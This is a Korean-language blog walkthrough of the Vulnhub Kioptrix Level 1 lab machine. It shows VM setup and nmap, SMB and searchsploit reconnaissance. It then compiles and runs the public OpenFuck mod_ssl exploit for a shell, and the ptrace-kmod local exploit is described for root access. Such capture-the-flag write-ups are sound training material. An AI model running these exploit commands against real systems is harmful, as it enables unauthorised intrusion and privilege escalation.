Vulnhub

[Vulnhub] Kioptrix_Level_1 Walkthrough

jeff_kim 2024. 6. 14. 20:02

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

 

Kioptrix: Level 1 (#1)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이번 시나리오 모의해킹은 Kioptrix 입니다. 이 실습 VM은 IP가 잘안잡혀서 살짝 삽질을 좀 했는데 IP 설정하는 것 부터 설명하도록 하겠습니다.

 

 

실습 환경 : VirtualBox(Kali, 실습VM)

실습 VM 구축

 

1. Kioptrix 사이트에서 압축 파일을 다운 받은 후 압축을 푼다

2. VirtualBox 에서 머신 -> 새로 만들기

3. 이름 설정 및 Linux를 선택한 후 컴퓨터 아키텍쳐를 선택한다

4. 최소 메모리 크기를 1024MB로 설정하거나 기본값으로 설정한다.

5. 가상 하드 디스크를 추가하지 않음을 선택한다

6. 생성 후 네트워크 연결 설정 어댑터에 브릿지로 설정 후 고급 설정에서 PCnet-PCI II(Am79C970A)를 선택한다

7. 이후 저장소 -> 컨트롤러:IDE -> 하드디스크 추가 -> 기존 디스크 선택 -> 압축해제한 Kioptrix VMDK 파일을 검색해서 추가한다.

8. VM을 실행 시킨 후 Kali에서 IP가 뜨는지 확인한다.

이렇게 뜬다면 정상적으로 된것이다. 이제 실습을 진행하면 된다

 

정보수집

Nmap을 통해 실행중인 호스트를 조사한다

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.124
Host is up (0.00029s latency).
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
...

192.168.45.124 IP를 가진 실습 VM이 검색 되었다. Nmap을 통해서 어떤 포트가 열려있는지 또한 자세한 정보수집 까지 진행한다.

└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.124 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:11 KST
Nmap scan report for 192.168.45.124
Host is up (0.00032s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.32 seconds

이전 실습에 비해 꽤 열려있는 포트가 있다. 자세한 정보수집을 위해서는 열려있는 포트 번호를 일일히 쳐줘야하는데 그것보다 Nmap의 출력된 파일을 포트번호만 나오게 파싱한다

└─$ cat tcpAll.nmap | awk '{ print $1 }' | grep -i 'tcp' | tr -d '/tcp' | paste -s -d ','
22,80,111,139,443,32768

 

파싱된 포트를 넣어서 추가적으로 자세한 정보 수집을 한다

└─$ sudo nmap -p 22,80,111,139,443,32768 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.124 -oA tcpDetailed       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:14 KST
Nmap scan report for 192.168.45.124                                           
Host is up (0.00032s latency).
                                                                                                                                                             
PORT      STATE SERVICE     VERSION                                           
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)     
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)                                                                                               
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-title: Test Page for the Apache Web Server on Red Hat Linux                                                                                           
| http-methods:                                                               
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1          32768/tcp   status
|_  100024  1          32768/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2024-06-14T12:14:43+00:00; +3h59m59s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06 
|_Not valid after:  2010-09-26T09:32:06 
|_http-title: 400 Bad Request
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: 3h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.49 seconds

얻을 수 있는 정보가 꽤많이 나왔다.

22 - openssh 2.9p2

80  - apache httpd 1.3.20

139 - netbios ssn smbd (workgroup : MYGROUP)

443 - apache httpd 1.3.20, mod_ssl/2.8.4, openssl/0.9.6p

 

취약점 진단

SMB

nbtscan 을 통해서 netbios 이름을 우선 파악한다

└─$ nbtscan 192.168.45.124
Doing NBT name scan for addresses from 192.168.45.124

IP address       NetBIOS Name     Server    User             MAC address      
------------------------------------------------------------------------------
192.168.45.124   KIOPTRIX         <server>  KIOPTRIX         00:00:00:00:00:00

 

이후 enum4linux 툴을 이용해 smb에 대해서 자세한 정보를 더 파악해본다

└─$ enum4linux -a 192.168.45.124 | tee smbd_res.txt

==================================( OS information on 192.168.45.124 )==================================                                                    
                                                                                                                                                             
                                                                                                                                                             
[E] Can't get OS info with smbclient                                                                                                                         
                                                                                                                                                             
                                                                                                                                                             
[+] Got OS info for 192.168.45.124 from srvinfo:                                                                                                             
        KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server                                                                                                     
        platform_id     :       500                                                                                                                          
        os version      :       4.5                                                                                                                          
        server type     :       0x9a03            

================================( Share Enumeration on 192.168.45.124 )================================                                                     
                                                                                                                                                             
                                                                                                                                                             
        Sharename       Type      Comment                                                                                                                    
        ---------       ----      -------                                                                                                                    
        IPC$            IPC       IPC Service (Samba Server)                                                                                                 
        ADMIN$          IPC       IPC Service (Samba Server)                                                                                                 
Reconnecting with SMB1 for workgroup listing.                                                                                                                
                                                                                                                                                             
        Server               Comment                                                                                                                         
        ---------            -------                                                                                                                         
        KIOPTRIX             Samba Server                                                                                                                    
                                                                                                                                                             
        Workgroup            Master                                                                                                                          
        ---------            -------                                                                                                                         
        MYGROUP              KIOPTRIX                                                                                                                        
                                                                                                                                                             
[+] Attempting to map shares on 192.168.45.124                                                                                                               
                                                                                                                                                             
                                                                                                                                                             
[E] Can't understand response:                                                                                                                               
                                                                                                                                                             
NT_STATUS_NETWORK_ACCESS_DENIED listing \*                                                                                                                   
//192.168.45.124/IPC$   Mapping: N/A Listing: N/A Writing: N/A                                                                                               
                                                                                                                                                             
[E] Can't understand response:                                                                                                                               
                                                                                                                                                             
tree connect failed: NT_STATUS_WRONG_PASSWORD                                                                                                                
//192.168.45.124/ADMIN$ Mapping: N/A Listing: N/A Writing: N/A

뭔가 smb 버전에 대한 정보를 원했는데 원하던 정보는 나오지 않았다. smbclient를 이용해서도 smb에 접근을 시도해본다

└─$ smbclient \\\\192.168.45.124\\MYGROUP   
Password for [WORKGROUP\kali]:
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME

Anonymous 로그인은 성공햇지만 접속이 실패 하였다. 다시 처음으로 돌아가 Nmap을 이용해 smb에 대한 추가 정보 수집을 진행해본다

└─$ nmap -p 139 --min-rate 1500 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 18:10 KST
Nmap scan report for 192.168.45.124
Host is up (0.00053s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd (workgroup: MYGROUP)

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds

smb관련 스크립트를 돌리니 대상 호스트에서 운영중인 서버에 대한 취약점 까지 파악하여 알려주었다. 

metasploit을 통해서 익스플로잇까지 진행해봤지만 대상 호스트에 접근이 안되는 것으로 보아 다른 취약점을 진단하여 익스플로잇한다.

 

WEB

대상 호스트에서 실행중인 웹에 대해서 잠재적인 취약점 및 다양한 정보를 스캐닝하기 위해서 nikto를 사용하여 취약점 진단 부터 익스플로잇까지 실시한다.

Nmap 을 통한 정보수집에서 동일한 mod_ssl 버전을 파악했으니, searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾는다

└─$ searchsploit mod_ssl       
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service                                                                            | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                                                                 | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                                       | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                                                 | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                                                 | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow                               | unix/remote/40347.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

내가 사용할 취약점은 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)  이다. c 파일을 가져와서 컴파일 후에 익스플로잇을 진행해보도록한다

# 익스플로잇 파일 가져오기
└─$ searchsploit -m 47080 .

# 컴파일 하는 방법 파악 
└─$ cat 47080.c | head -30
...
/*
 * OF version r00t VERY PRIV8 spabam
 * Version: v3.0.4
 * Requirements: libssl-dev    ( apt-get install libssl-dev )
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 * Note: if required, host ptrace and replace wget target
 */
...

# 컴파일
└─$ gcc -o exploit 47080.c -lcrypto

 

정보수집에서 얻은 apache 버전은 1.3.20 Red-hat/Linux 이다 OS 정보가 있으니 참고한다

우리가 사용할 것은 0x6b 이다!

 

익스플로잇

컴파일된 exploit 파일을 이용하여 익스플로잇을 진행하여 대상 호스트로 초기 침투를 시도한다.

# 최종적으로 사용할 명령어
└─$ ./exploit 0x6b 192.168.45.124 443

# 초기 침투 증명
id; hostname 
uid=48(apache) gid=48(apache) groups=48(apache)
kioptrix.level1

대상 호스트에 접근해 이전에 얻지 못했던 smb 정보에 대해서 찾았다.

mod_ssl 취약점을 통해서 익스플로잇하여 초기 침투에 성공했지만, 이제는 samba 버전도 알았으니 samba 취약점을 찾아 익스플로잇할 수 있는 하나의 취약점을 더 발견했다.

 

우선 이미 대상 호스트에 초기 침투했으니, 권한 상승을 하기 위해서 추가적인 정보를 수집한다. 

 

권한 상승

사실 권한 상승은 대상 호스트에 초기 침투 했을때 ptrace-kmod.c 파일이 다운받아지면서 컴파일 하고 관리자 권한으로 권한 상승이 되는것인데, SSL 연결에 실패해서 외부에서 파일을 받아 오지 못해서 권한 상승 중간에 막혀 apache 유저로 접근이 됬다. 

그렇다면 내가 해야할 것은 ptrace-kmod.c 를 검색해 kali에서 파일은 다운하고 그 다운받은 파일을 대상 호스트에서 다운받는 방법이 있다.

이렇게 파일을 다운받았으면 ctrl+c를 통해서 접근한 대상 호스트에서 로그아웃 한 다음 다시 접근을 한다

└─$ ./exploit 0x6b 192.168.45.124 443

그렇게 되면 ptrace-kmod.c 파일이 있기 때문에 자동으로 컴파일이 되고 그것을 실행 시켜 관리자 권한을 획득한 것을 확인 할 수 있다.

컴파일하고 난 이후에 대상 호스트에서 파일을 다운받아도 되겠다 라는 생각을 했다.